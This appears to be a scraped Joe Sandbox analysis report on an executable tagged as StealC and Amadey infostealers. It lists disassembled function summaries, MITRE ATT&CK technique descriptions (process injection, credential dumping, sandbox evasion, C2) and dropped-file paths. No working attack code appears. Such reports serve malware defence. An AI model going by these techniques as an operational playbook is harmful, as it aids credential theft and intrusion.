malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9CB2C9,?,?,?,6C9CB127,?,?,?,?,?,?,?,?,?,6C9CAE52), ref: 6C9CB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9CB2C9,?,?,?,6C9CB127,?,?,?,?,?,?,?,?,?,6C9CAE52), ref: 6C9CB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C9CB127,?,?,?,?,?,?,?,?), ref: 6C9CB74D

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: a99cba624aa23e11421a594b2c25a6d6af553322001ab2a11b49aa6651d054e4
Instruction ID: e1a7bd45cb35c8c384f8b03b673c68abc028545a2cc2c2c74ac2e0334a486755
Opcode Fuzzy Hash: a99cba624aa23e11421a594b2c25a6d6af553322001ab2a11b49aa6651d054e4
Instruction Fuzzy Hash: 6251DAB1B05216CBDB14CF18CA8076EB7B9FF84715F158529C85AABB00DB30E814CBA3

Function 6C9CDF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C9BFF2A), ref: 6C9CDFFD

Part of subcall function 6C9C90E0: free.MOZGLUE(?,00000000,?,?,6C9CDEDB), ref: 6C9C90FF
Part of subcall function 6C9C90E0: free.MOZGLUE(?,00000000,?,?,6C9CDEDB), ref: 6C9C9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9BFF2A), ref: 6C9CE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9BFF2A), ref: 6C9CE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C9BFF2A), ref: 6C9CE0FE

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ad0546b67748b2f61b28cab98bca72be9fc52d5ceae4ecf9cca9001437073845
Instruction ID: 5d3c62f219da3e13a5b39282193d94e37098a64e6bb28662cb9929faa4c1de76
Opcode Fuzzy Hash: ad0546b67748b2f61b28cab98bca72be9fc52d5ceae4ecf9cca9001437073845
Instruction Fuzzy Hash: 4041BEB1708206CBEB14CF68D88236A73B6AB45308F244929D517DBB40E732E915CBD3

Function 6C9C6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C9C6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C9C6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9C6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9C6F5C

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 4acd7eb86d04b0481b3590289e086b66c55b1ed2a68b38032fbb57b56ddb6d8e
Instruction ID: bfc625a321d9ef0d36c7b6b41c2535cd6ee0341e16042010870e875b889a601d
Opcode Fuzzy Hash: 4acd7eb86d04b0481b3590289e086b66c55b1ed2a68b38032fbb57b56ddb6d8e
Instruction Fuzzy Hash: 8A31E571B1460A8FDB14CF2CD9806BA77E9EB84304F54813AD41AC7651EF31E669C7A2

Function 6C9DB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C980A4D), ref: 6C9DB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C980A4D), ref: 6C9DB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C980A4D), ref: 6C9DB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C980A4D), ref: 6C9DB67F

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 1ae02e5b6075bfd882737c4352b83267c8f565b3b756450508b129e26bffe89f
Instruction ID: 65e63c9bff33695ab28bafec79a174d16df78b0aed50b107d96e46a6680fa990
Opcode Fuzzy Hash: 1ae02e5b6075bfd882737c4352b83267c8f565b3b756450508b129e26bffe89f
Instruction Fuzzy Hash: 3F31E571A006168FDF10CF58C84466AB7B9EF80324F5BC569E81AAB201DB31F915CBA0

Function 6C9AF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C9AF611
memcpy.VCRUNTIME140(?,?,?), ref: 6C9AF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C9AF652
memcpy.VCRUNTIME140(?,?,?), ref: 6C9AF668

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 7050f7823871ce16d288e1b4da4dd70b5eaf18425d92ba69167319bd2fbbcfdc
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 99317171A00214AFCB14CF5DCCC0AAF7BBAFF98358B148538FA498BB04D631E9458B90

Function 6C9C26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9C26C1
free.MOZGLUE(?), ref: 6C9C26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9C26FF
free.MOZGLUE ref: 6C9C270D

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 55ca3516a9c8d0d0e30ed1e4f2c33154dd67ac3f4647b14b5ec88580e72d39d8
Instruction ID: 9eb668e4b1d040bdaf7d68356e4714d21967ed45ae6d3f237f2a3ccd21a399a4
Opcode Fuzzy Hash: 55ca3516a9c8d0d0e30ed1e4f2c33154dd67ac3f4647b14b5ec88580e72d39d8
Instruction Fuzzy Hash: DCF0F9B27016016BEB109A58E8C4E5BB3ADEF5125DB640035EA1AC3B01E732F919C6A3

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFCBAEBA

C:\ProgramData\AKJDGDGDHDGDBFIDHDBA

C:\ProgramData\BGDAAEHDHIIJKECBKEBA

C:\ProgramData\CAFIJKFH

C:\ProgramData\CGHDAKKJJJKJKECBGCGDAEBAEH

C:\ProgramData\HDBKJEGIEBFHCAAKKEBAEBKEBK

C:\ProgramData\JKEGDHCFCAAECAKECBAF

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre